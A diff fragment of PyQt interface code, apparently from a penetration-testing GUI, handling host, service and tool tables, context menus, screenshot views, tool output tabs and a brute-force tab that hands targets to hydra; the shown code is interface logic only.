".join(f[8])) + self.updateInterface() + + def updateFilterKeywords(self): + self.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) + self.updateInterface() + + ### + + def connectTableDoubleClick(self): + self.ui.ServicesTableView.doubleClicked.connect(self.tableDoubleClick) + self.ui.ToolHostsTableView.doubleClicked.connect(self.tableDoubleClick) + + def tableDoubleClick(self): + tab = self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) + + if tab == 'Services': + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + ip = self.PortsByServiceTableModel.getIpForRow(row) + elif tab == 'Tools': + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + ip = self.ToolHostsTableModel.getIpForRow(row) + else: + return + + hostrow = self.HostsTableModel.getRowForIp(ip) + if hostrow is not None: + self.ui.HostsTabWidget.setCurrentIndex(0) + self.ui.HostsTableView.selectRow(hostrow) + self.hostTableClick() + + ### + + def connectSwitchTabClick(self): + self.ui.HostsTabWidget.currentChanged.connect(self.switchTabClick) + + def switchTabClick(self): + if self.ServiceNamesTableModel: # fixes bug when switching tabs at start-up + selectedTab = self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) + + if selectedTab == 'Hosts': + self.ui.ServicesTabWidget.insertTab(1,self.ui.ScriptsTab,("Scripts")) + self.ui.ServicesTabWidget.insertTab(2,self.ui.InformationTab,("Information")) + self.ui.ServicesTabWidget.insertTab(3,self.ui.NotesTab,("Notes")) + self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) + + self.restoreToolTabWidget() + ### + if self.lazy_update_hosts == True: + self.updateHostsTableView() + ### + self.hostTableClick() + + elif selectedTab == 'Services': + self.ui.ServicesTabWidget.setCurrentIndex(0) + self.removeToolTabs(0) # remove the tool tabs + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + if self.lazy_update_services == True: + self.updateServiceNamesTableView() + self.serviceNamesTableClick() + + elif selectedTab == 'Tools': + self.updateToolsTableView() + + self.displayToolPanel(selectedTab == 'Tools') # display tool panel if we are in tools tab, hide it otherwise + + ### + + def connectSwitchMainTabClick(self): + self.ui.MainTabWidget.currentChanged.connect(self.switchMainTabClick) + + def switchMainTabClick(self): + selectedTab = self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) + + if selectedTab == 'Scan': + self.switchTabClick() + + elif selectedTab == 'Brute': + self.ui.BruteTabWidget.currentWidget().runButton.setFocus() + self.restoreToolTabWidget() + + self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) # in case the Brute tab was red because hydra found stuff, change it back to black + + ### + def setVisible(self): # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user + self.menuVisible = True + + def setInvisible(self): # indicates that a context menu has now closed and any pending ui updates can take place now + self.menuVisible = False + ### + + def connectHostsTableContextMenu(self): + self.ui.HostsTableView.customContextMenuRequested.connect(self.contextMenuHostsTableView) + + def contextMenuHostsTableView(self, pos): + if len(self.ui.HostsTableView.selectionModel().selectedRows()) > 0: + row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + self.ip_clicked = self.HostsTableModel.getHostIPForRow(row) # because when we right click on a different host, we need to select it + self.ui.HostsTableView.selectRow(row) # select host when right-clicked + self.hostTableClick() + + menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(row))) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + hostid = self.HostsTableModel.getHostIdForRow(row) + action = menu.exec_(self.ui.HostsTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) + + ### + + def connectServiceNamesTableContextMenu(self): + self.ui.ServiceNamesTableView.customContextMenuRequested.connect(self.contextMenuServiceNamesTableView) + + def contextMenuServiceNamesTableView(self, pos): + if len(self.ui.ServiceNamesTableView.selectionModel().selectedRows()) > 0: + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + self.ui.ServiceNamesTableView.selectRow(row) # select service when right-clicked + self.serviceNamesTableClick() + + menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.service_clicked) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + action = menu.exec_(self.ui.ServiceNamesTableView.viewport().mapToGlobal(pos)) + + if action: + self.serviceNamesTableClick() # because we will need to populate the right-side panel in order to select those rows + # we must only fetch the targets on which we haven't run the tool yet + tool = None + for i in range(0,len(actions)): # fetch the tool name + if action == actions[i][1]: + srvc_num = actions[i][0] + tool = self.controller.getSettings().portActions[srvc_num][1] + break + + if action.text() == 'Take screenshot': + tool = 'screenshooter' + + targets = [] # get (IP,port,protocol) combinations for this service + for row in range(self.PortsByServiceTableModel.rowCount("")): + targets.append([self.PortsByServiceTableModel.getIpForRow(row), self.PortsByServiceTableModel.getPortForRow(row), self.PortsByServiceTableModel.getProtocolForRow(row)]) + + if shiftPressed: # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on which we haven't ran it yet + tool=None + + if tool: + hosts=self.controller.getHostsForTool(tool, 'FetchAll') # fetch the hosts that we already ran the tool on + oldTargets = [] + for i in range(0,len(hosts)): + oldTargets.append([hosts[i][5], hosts[i][6], hosts[i][7]]) + + for host in oldTargets: # remove from the targets the hosts:ports we have already run the tool on + if host in targets: + targets.remove(host) + + self.controller.handleServiceNameAction(targets, actions, action) + + ### + + def connectToolHostsTableContextMenu(self): + self.ui.ToolHostsTableView.customContextMenuRequested.connect(self.contextToolHostsTableContextMenu) + + def contextToolHostsTableContextMenu(self, pos): + if len(self.ui.ToolHostsTableView.selectionModel().selectedRows()) > 0: + + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + ip = self.ToolHostsTableModel.getIpForRow(row) + port = self.ToolHostsTableModel.getPortForRow(row) + + if port: + serviceName = self.controller.getServiceNameForHostAndPort(ip, port)[0] + + menu, actions, terminalActions = self.controller.getContextMenuForPort(str(serviceName)) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + + # this can handle multiple host selection if we apply it in the future + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row # context menu when the left services tab is selected + for row in self.ui.ToolHostsTableView.selectionModel().selectedRows(): + targets.append([self.ToolHostsTableModel.getIpForRow(row.row()),self.ToolHostsTableModel.getPortForRow(row.row()),self.ToolHostsTableModel.getProtocolForRow(row.row()),self.controller.getServiceNameForHostAndPort(self.ToolHostsTableModel.getIpForRow(row.row()), self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) + restore = True + + action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handlePortAction(targets, actions, terminalActions, action, restore) + + else: # in case there was no port, we show the host menu (without the portscan / mark as checked) + menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + hostid = self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(ip)) + + action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) + + ### + + def connectServicesTableContextMenu(self): + self.ui.ServicesTableView.customContextMenuRequested.connect(self.contextMenuServicesTableView) + + def contextMenuServicesTableView(self, pos): # this function is longer because there are two cases we are in the services table + if len(self.ui.ServicesTableView.selectionModel().selectedRows()) > 0: + + if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: # if there is only one row selected, get service name + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + + if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view + serviceName = self.ServicesTableModel.getServiceNameForRow(row) + else: # if we are in the services tab of the services view + serviceName = self.PortsByServiceTableModel.getServiceNameForRow(row) + + else: + serviceName = '*' # otherwise show full menu + + menu, actions, terminalActions = self.controller.getContextMenuForPort(serviceName) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row + if self.ui.ServicesTableView.isColumnHidden(0): + for row in self.ui.ServicesTableView.selectionModel().selectedRows(): + targets.append([self.ServicesTableModel.getIpForRow(row.row()),self.ServicesTableModel.getPortForRow(row.row()),self.ServicesTableModel.getProtocolForRow(row.row()),self.ServicesTableModel.getServiceNameForRow(row.row())]) + restore = False + + else: # context menu when the left services tab is selected + for row in self.ui.ServicesTableView.selectionModel().selectedRows(): + targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()),self.PortsByServiceTableModel.getPortForRow(row.row()),self.PortsByServiceTableModel.getProtocolForRow(row.row()),self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) + restore = True + + action = menu.exec_(self.ui.ServicesTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handlePortAction(targets, actions, terminalActions, action, restore) + + ### + + def connectProcessesTableContextMenu(self): + self.ui.ProcessesTableView.customContextMenuRequested.connect(self.contextMenuProcessesTableView) + + def contextMenuProcessesTableView(self, pos): + if self.ui.ProcessesTableView.selectionModel() and self.ui.ProcessesTableView.selectionModel().selectedRows(): + + menu = self.controller.getContextMenuForProcess() + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + + selectedProcesses = [] # list of tuples (pid, status, procId) + for row in self.ui.ProcessesTableView.selectionModel().selectedRows(): + pid = self.ProcessesTableModel.getProcessPidForRow(row.row()) + selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), self.ProcessesTableModel.getProcessIdForRow(row.row())]) + + action = menu.exec_(self.ui.ProcessesTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handleProcessAction(selectedProcesses, action) + + ### + + def connectScreenshotContextMenu(self): + self.ui.ScreenshotWidget.scrollArea.customContextMenuRequested.connect(self.contextMenuScreenshot) + + def contextMenuScreenshot(self, pos): + menu = QMenu() + + zoomInAction = menu.addAction("Zoom in (25%)") + zoomOutAction = menu.addAction("Zoom out (25%)") + fitToWindowAction = menu.addAction("Fit to window") + normalSizeAction = menu.addAction("Original size") + + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + + action = menu.exec_(self.ui.ScreenshotWidget.scrollArea.viewport().mapToGlobal(pos)) + + if action == zoomInAction: + self.ui.ScreenshotWidget.zoomIn() + elif action == zoomOutAction: + self.ui.ScreenshotWidget.zoomOut() + elif action == fitToWindowAction: + self.ui.ScreenshotWidget.fitToWindow() + elif action == normalSizeAction: + self.ui.ScreenshotWidget.normalSize() + + #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### + + def updateHostsTableView(self): + headers = ["Id", "OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count"] + self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) + self.ui.HostsTableView.setModel(self.HostsTableModel) + + self.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore + + for i in [0,2,4,5,6,7,8,9,10,11,12,13,14,15]: # hide some columns + self.ui.HostsTableView.setColumnHidden(i, True) + + self.ui.HostsTableView.horizontalHeader().setResizeMode(1,2) + self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) + self.HostsTableModel.sort(3, Qt.DescendingOrder) + + ips = [] # ensure that there is always something selected + for row in range(self.HostsTableModel.rowCount("")): + ips.append(self.HostsTableModel.getHostIPForRow(row)) + + if self.ip_clicked in ips: # the ip we previously clicked may not be visible anymore (eg: due to filters) + row = self.HostsTableModel.getRowForIp(self.ip_clicked) + else: + row = 0 # or select the first row + + if not row == None: + self.ui.HostsTableView.selectRow(row) + self.hostTableClick() + + def updateServiceNamesTableView(self): + headers = ["Name"] + self.ServiceNamesTableModel = ServiceNamesTableModel(self.controller.getServiceNamesFromDB(self.filters), headers) + self.ui.ServiceNamesTableView.setModel(self.ServiceNamesTableModel) + + self.lazy_update_services = False # to indicate that it doesn't need to be updated anymore + + services = [] # ensure that there is always something selected + for row in range(self.ServiceNamesTableModel.rowCount("")): + services.append(self.ServiceNamesTableModel.getServiceNameForRow(row)) + + if self.service_clicked in services: # the service we previously clicked may not be visible anymore (eg: due to filters) + row = self.ServiceNamesTableModel.getRowForServiceName(self.service_clicked) + else: + row = 0 # or select the first row + + if not row == None: + self.ui.ServiceNamesTableView.selectRow(row) + self.serviceNamesTableClick() + + def updateToolsTableView(self): + if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + headers = ["Progress","Display","Pid","Tool","Tool","Host","Port","Protocol","Command","Start time","End time","OutputFile","Output","Status","Closed"] + self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters), headers) + self.ui.ToolsTableView.setModel(self.ToolsTableModel) + + self.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore + + for i in [0,1,2,4,5,6,7,8,9,10,11,12,13,14]: # hide some columns + self.ui.ToolsTableView.setColumnHidden(i, True) + + tools = [] # ensure that there is always something selected + for row in range(self.ToolsTableModel.rowCount("")): + tools.append(self.ToolsTableModel.getToolNameForRow(row)) + + if self.tool_clicked in tools: # the tool we previously clicked may not be visible anymore (eg: due to filters) + row = self.ToolsTableModel.getRowForToolName(self.tool_clicked) + else: + row = 0 # or select the first row + + if not row == None: + self.ui.ToolsTableView.selectRow(row) + self.toolsTableClick() + + #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### + + def updateServiceTableView(self, hostIP): + headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + self.ServicesTableModel = ServicesTableModel(self.controller.getPortsAndServicesForHostFromDB(hostIP, self.filters), headers) + self.ui.ServicesTableView.setModel(self.ServicesTableModel) + + for i in range(0, len(headers)): # reset all the hidden columns + self.ui.ServicesTableView.setColumnHidden(i, False) + + for i in [0,1,5,6,8,10,11]: # hide some columns + self.ui.ServicesTableView.setColumnHidden(i, True) + + self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) + self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) + + def updatePortsByServiceTableView(self, serviceName): + headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + self.PortsByServiceTableModel = ServicesTableModel(self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.filters), headers) + self.ui.ServicesTableView.setModel(self.PortsByServiceTableModel) + + for i in range(0, len(headers)): # reset all the hidden columns + self.ui.ServicesTableView.setColumnHidden(i, False) + + for i in [2,5,6,7,8,10,11]: # hide some columns + self.ui.ServicesTableView.setColumnHidden(i, True) + + self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) + self.ui.ServicesTableView.horizontalHeader().resizeSection(0,165) # resize IP + self.ui.ServicesTableView.horizontalHeader().resizeSection(1,65) # resize port + self.ui.ServicesTableView.horizontalHeader().resizeSection(3,100) # resize protocol + self.PortsByServiceTableModel.sort(0, Qt.DescendingOrder) # sort by IP by default (override default) + + def updateInformationView(self, hostIP): + + if hostIP: + host = self.controller.getHostInformation(hostIP) + + if host: + states = self.controller.getPortStatesForHost(host.id) + counterOpen = counterClosed = counterFiltered = 0 + + for s in states: + if s[0] == 'open': + counterOpen+=1 + elif s[0] == 'closed': + counterClosed+=1 + else: + counterFiltered+=1 + + if host.state == 'closed': # check the extra ports + counterClosed = 65535 - counterOpen - counterFiltered + else: + counterFiltered = 65535 - counterOpen - counterClosed + + self.hostInfoWidget.updateFields(host.status, counterOpen, counterClosed, counterFiltered, host.ipv4, host.ipv6, host.macaddr, host.os_match, host.os_accuracy) + + def updateScriptsView(self, hostIP): + headers = ["Id", "Script", "Port", "Protocol"] + self.ScriptsTableModel = ScriptsTableModel(self,self.controller.getScriptsFromDB(hostIP), headers) + self.ui.ScriptsTableView.setModel(self.ScriptsTableModel) + + for i in [0,3]: # hide some columns + self.ui.ScriptsTableView.setColumnHidden(i, True) + + scripts = [] # ensure that there is always something selected + for row in range(self.ScriptsTableModel.rowCount("")): + scripts.append(self.ScriptsTableModel.getScriptDBIdForRow(row)) + + if self.script_clicked in scripts: # the script we previously clicked may not be visible anymore (eg: due to filters) + row = self.ScriptsTableModel.getRowForDBId(self.script_clicked) + + else: + row = 0 # or select the first row + + if not row == None: + self.ui.ScriptsTableView.selectRow(row) + self.scriptTableClick() + + def updateScriptsOutputView(self, scriptId): + self.ui.ScriptsOutputTextEdit.clear() + lines = self.controller.getScriptOutputFromDB(scriptId) + for l in lines: + self.ui.ScriptsOutputTextEdit.insertPlainText(l.output.rstrip()) + + # TODO: check if this hack can be improved because we are calling setDirty more than we need + def updateNotesView(self, hostid): + self.lastHostIdClicked = str(hostid) + note = self.controller.getNoteFromDB(hostid) + + saved_dirty = self.dirty # save the status so we can restore it after we update the note panel + self.ui.NotesTextEdit.clear() # clear the text box from the previous notes + + if note: + self.ui.NotesTextEdit.insertPlainText(note.text) + + if saved_dirty == False: + self.setDirty(False) + + def updateToolHostsTableView(self, toolname): + headers = ["Progress","Display","Pid","Name","Action","Target","Port","Protocol","Command","Start time","OutputFile","Output","Status","Closed"] + self.ToolHostsTableModel = ProcessesTableModel(self,self.controller.getHostsForTool(toolname), headers) + self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) + + for i in [0,1,2,3,4,7,8,9,10,11,12,13]: # hide some columns + self.ui.ToolHostsTableView.setColumnHidden(i, True) + + self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column + + ids = [] # ensure that there is always something selected + for row in range(self.ToolHostsTableModel.rowCount("")): + ids.append(self.ToolHostsTableModel.getProcessIdForRow(row)) + + if self.tool_host_clicked in ids: # the host we previously clicked may not be visible anymore (eg: due to filters) + row = self.ToolHostsTableModel.getRowForDBId(self.tool_host_clicked) + + else: + row = 0 # or select the first row + + if not row == None and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + self.ui.ToolHostsTableView.selectRow(row) + self.toolHostsClick() + + + def updateRightPanel(self, hostIP): + self.updateServiceTableView(hostIP) + self.updateScriptsView(hostIP) + self.updateInformationView(hostIP) # populate host info tab + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + + if hostIP: + self.updateNotesView(self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(hostIP))) + else: + self.updateNotesView('') + + def displayToolPanel(self, display=False): + size = self.ui.splitter.parentWidget().width() - 210 - 24 # note: 24 is a fixed value + if display: + self.ui.ServicesTabWidget.hide() + self.ui.splitter_3.show() + self.ui.splitter.setSizes([210,0,size]) # reset hoststableview width + + if self.tool_clicked == 'screenshooter': + self.displayScreenshots(True) + else: + self.displayScreenshots(False) + #self.ui.splitter_3.setSizes([275,size-275,0]) # reset middle panel width + + else: + self.ui.splitter_3.hide() + self.ui.ServicesTabWidget.show() + self.ui.splitter.setSizes([210,size,0]) + + def displayScreenshots(self, display=False): + size = self.ui.splitter.parentWidget().width() - 210 - 24 # note: 24 is a fixed value + + if display: + self.ui.DisplayWidget.hide() + self.ui.ScreenshotWidget.scrollArea.show() + self.ui.splitter_3.setSizes([275,0,size-275]) # reset middle panel width + + else: + self.ui.ScreenshotWidget.scrollArea.hide() + self.ui.DisplayWidget.show() + self.ui.splitter_3.setSizes([275,size-275,0]) # reset middle panel width + + def displayAddHostsOverlay(self, display=False): + if display: + self.ui.addHostsOverlay.show() + self.ui.HostsTableView.hide() + else: + self.ui.addHostsOverlay.hide() + self.ui.HostsTableView.show() + + #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### + + def updateProcessesTableView(self): + headers = ["Progress","Display","Pid","Name","Tool","Host","Port","Protocol","Command","Start time","End time","OutputFile","Output","Status","Closed"] + self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, True), headers) + self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) + + for i in [1,2,3,6,7,8,11,12,14]: # hide some columns + self.ui.ProcessesTableView.setColumnHidden(i, True) + + self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,210) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(5,135) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(9,165) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(10,165) + self.updateProcessesIcon() + + def updateProcessesIcon(self): + if self.ProcessesTableModel: + for row in range(len(self.ProcessesTableModel.getProcesses())): + status = self.ProcessesTableModel.getProcesses()[row].status + + if status == 'Waiting': + self.runningWidget = ImagePlayer("./images/waiting.gif") + elif status == 'Running': + self.runningWidget = ImagePlayer("./images/running.gif") + elif status == 'Finished': + self.runningWidget = ImagePlayer("./images/finished.gif") + elif status == 'Crashed': # TODO: replace gif? + self.runningWidget = ImagePlayer("./images/killed.gif") + else: + self.runningWidget = ImagePlayer("./images/killed.gif") + + self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), self.runningWidget) + + #################### GLOBAL INTERFACE UPDATE FUNCTION #################### + + # TODO: when nmap file is imported select last IP clicked (or first row if none) + def updateInterface(self): + self.ui_mainwindow.show() + + if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Hosts': + self.updateHostsTableView() + self.lazy_update_services = True + self.lazy_update_tools = True + + if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Services': + self.updateServiceNamesTableView() + self.lazy_update_hosts = True + self.lazy_update_tools = True + + if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + self.updateToolsTableView() + self.lazy_update_hosts = True + self.lazy_update_services = True + + #################### TOOL TABS #################### + + # this function creates a new tool tab for a given host + # TODO: refactor/review, especially the restoring part. we should not check if toolname=nmap everywhere in the code + # ..maybe we should do it here. rethink + def createNewTabForHost(self, ip, tabtitle, restoring=False, content='', filename=''): + + if 'screenshot' in str(tabtitle): # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. + tempWidget = ImageViewer() + tempWidget.setObjectName(str(tabtitle)) + tempWidget.open(str(filename)) + tempTextView = tempWidget.scrollArea + tempTextView.setObjectName(str(tabtitle)) + else: + tempWidget = QtGui.QWidget() + tempWidget.setObjectName(str(tabtitle)) + tempTextView = QtGui.QPlainTextEdit(tempWidget) + tempTextView.setReadOnly(True) + if self.controller.getSettings().general_tool_output_black_background == 'True': + p = tempTextView.palette() + p.setColor(QtGui.QPalette.Base, Qt.black) # black background + p.setColor(QtGui.QPalette.Text, Qt.white) # white font + tempTextView.setPalette(p) + tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + tempLayout = QtGui.QHBoxLayout(tempWidget) + tempLayout.addWidget(tempTextView) + + if not content == '': # if there is any content to display + tempTextView.appendPlainText(content) + + if restoring == False: # if restoring tabs (after opening a project) don't show the tab in the ui + tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabtitle)) + + hosttabs = [] # fetch tab list for this host (if any) + if str(ip) in self.hostTabs: + hosttabs = self.hostTabs[str(ip)] + + if 'screenshot' in str(tabtitle): + hosttabs.append(tempWidget.scrollArea) # add the new tab to the list + else: + hosttabs.append(tempWidget) # add the new tab to the list + + self.hostTabs.update({str(ip):hosttabs}) + + return tempTextView + + def closeHostToolTab(self, index): + currentTabIndex = self.ui.ServicesTabWidget.currentIndex() # remember the currently selected tab + self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + + currentWidget = self.ui.ServicesTabWidget.currentWidget() + if 'screenshot' in str(self.ui.ServicesTabWidget.currentWidget().objectName()): + dbId = int(currentWidget.property('dbId')) + else: + dbId = int(currentWidget.findChild(QtGui.QPlainTextEdit).property('dbId')) + + pid = int(self.controller.getPidForProcess(dbId)) # the process ID (=os) + + if str(self.controller.getProcessStatusForDBId(dbId)) == 'Running': + message = "This process is still running. Are you sure you want to kill it?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + if reply == QtGui.QMessageBox.Yes: + self.controller.killProcess(pid, dbId) + else: + return + + # TODO: duplicate code + if str(self.controller.getProcessStatusForDBId(dbId)) == 'Waiting': + message = "This process is waiting to start. Are you sure you want to cancel it?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + if reply == QtGui.QMessageBox.Yes: + self.controller.cancelProcess(dbId) + else: + return + + # remove tab from host tabs list + hosttabs = [] + for ip in self.hostTabs.keys(): + if self.ui.ServicesTabWidget.currentWidget() in self.hostTabs[ip]: + hosttabs = self.hostTabs[ip] + hosttabs.remove(self.ui.ServicesTabWidget.currentWidget()) + self.hostTabs.update({ip:hosttabs}) + break + + self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid + self.ui.ServicesTabWidget.removeTab(index) # remove the tab + + if currentTabIndex >= self.ui.ServicesTabWidget.currentIndex(): # select the initially selected tab + self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + else: + self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex) + + # this function removes tabs that were created when running tools (starting from the end to avoid index problems) + def removeToolTabs(self, position=-1): + if position == -1: + position = self.fixedTabsCount-1 + for i in range(self.ui.ServicesTabWidget.count()-1, position, -1): + self.ui.ServicesTabWidget.removeTab(i) + + # this function restores the tool tabs based on the DB content (should be called when opening an existing project). + def restoreToolTabs(self): + ### CHEETOS + return + tools = self.controller.getProcessesFromDB(self.filters, False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. + nbr = len(tools) # show a progress bar because this could take long + if nbr==0: + nbr=1 + progress = 100.0 / nbr + totalprogress = 0 + self.tick.emit(int(totalprogress)) + + for t in tools: + if not t.tabtitle == '': + if 'screenshot' in str(t.tabtitle): + imageviewer = self.createNewTabForHost(t.hostip, t.tabtitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) + imageviewer.setObjectName(str(t.tabtitle)) + imageviewer.setProperty('dbId', str(t.id)) + else: + self.createNewTabForHost(t.hostip, t.tabtitle, True, t.output).setProperty('dbId', str(t.id)) # True means we are restoring tabs. Set the widget's object name to the DB id of the process + + totalprogress += progress # update the progress bar + self.tick.emit(int(totalprogress)) + + def restoreToolTabsForHost(self, ip): + if (self.hostTabs) and (ip in self.hostTabs): + tabs = self.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs + for tab in tabs: + # do not display hydra and nmap tabs when restoring for that host + if not 'hydra' in tab.objectName() and not 'nmap' in tab.objectName(): + tabindex = self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) + + # this function restores the textview widget (now in the tools display widget) to its original tool tab (under the correct host) + def restoreToolTabWidget(self, clear=False): + if self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit) == self.ui.toolOutputTextView: + return + + for host in self.hostTabs.keys(): + hosttabs = self.hostTabs[host] + for tab in hosttabs: + if not 'screenshot' in str(tab.objectName()) and not tab.findChild(QtGui.QPlainTextEdit): + tab.layout().addWidget(self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit)) + break + + if clear: + if self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit): # remove the tool output currently in the tools display panel + self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit).setParent(None) + + self.ui.DisplayWidgetLayout.addWidget(self.ui.toolOutputTextView) + + #################### BRUTE TABS #################### + + def createNewBruteTab(self, ip, port, service): + self.ui.statusbar.showMessage('Sending to Brute: '+ip+':'+port+' ('+service+')', msecs=1000) + bWidget = BruteWidget(ip, port, service, self.controller.getSettings()) + bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) + self.ui.BruteTabWidget.addTab(bWidget, str(self.bruteTabCount)) + self.bruteTabCount += 1 # update tab count + self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) # show the last added tab in the brute widget + + def closeBruteTab(self, index): + currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab + self.ui.BruteTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + + if not self.ui.BruteTabWidget.currentWidget().pid == -1: # if process is running + if self.ProcessesTableModel.getProcessStatusForPid(self.ui.BruteTabWidget.currentWidget().pid)=="Running": + message = "This process is still running. Are you sure you want to kill it?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + if 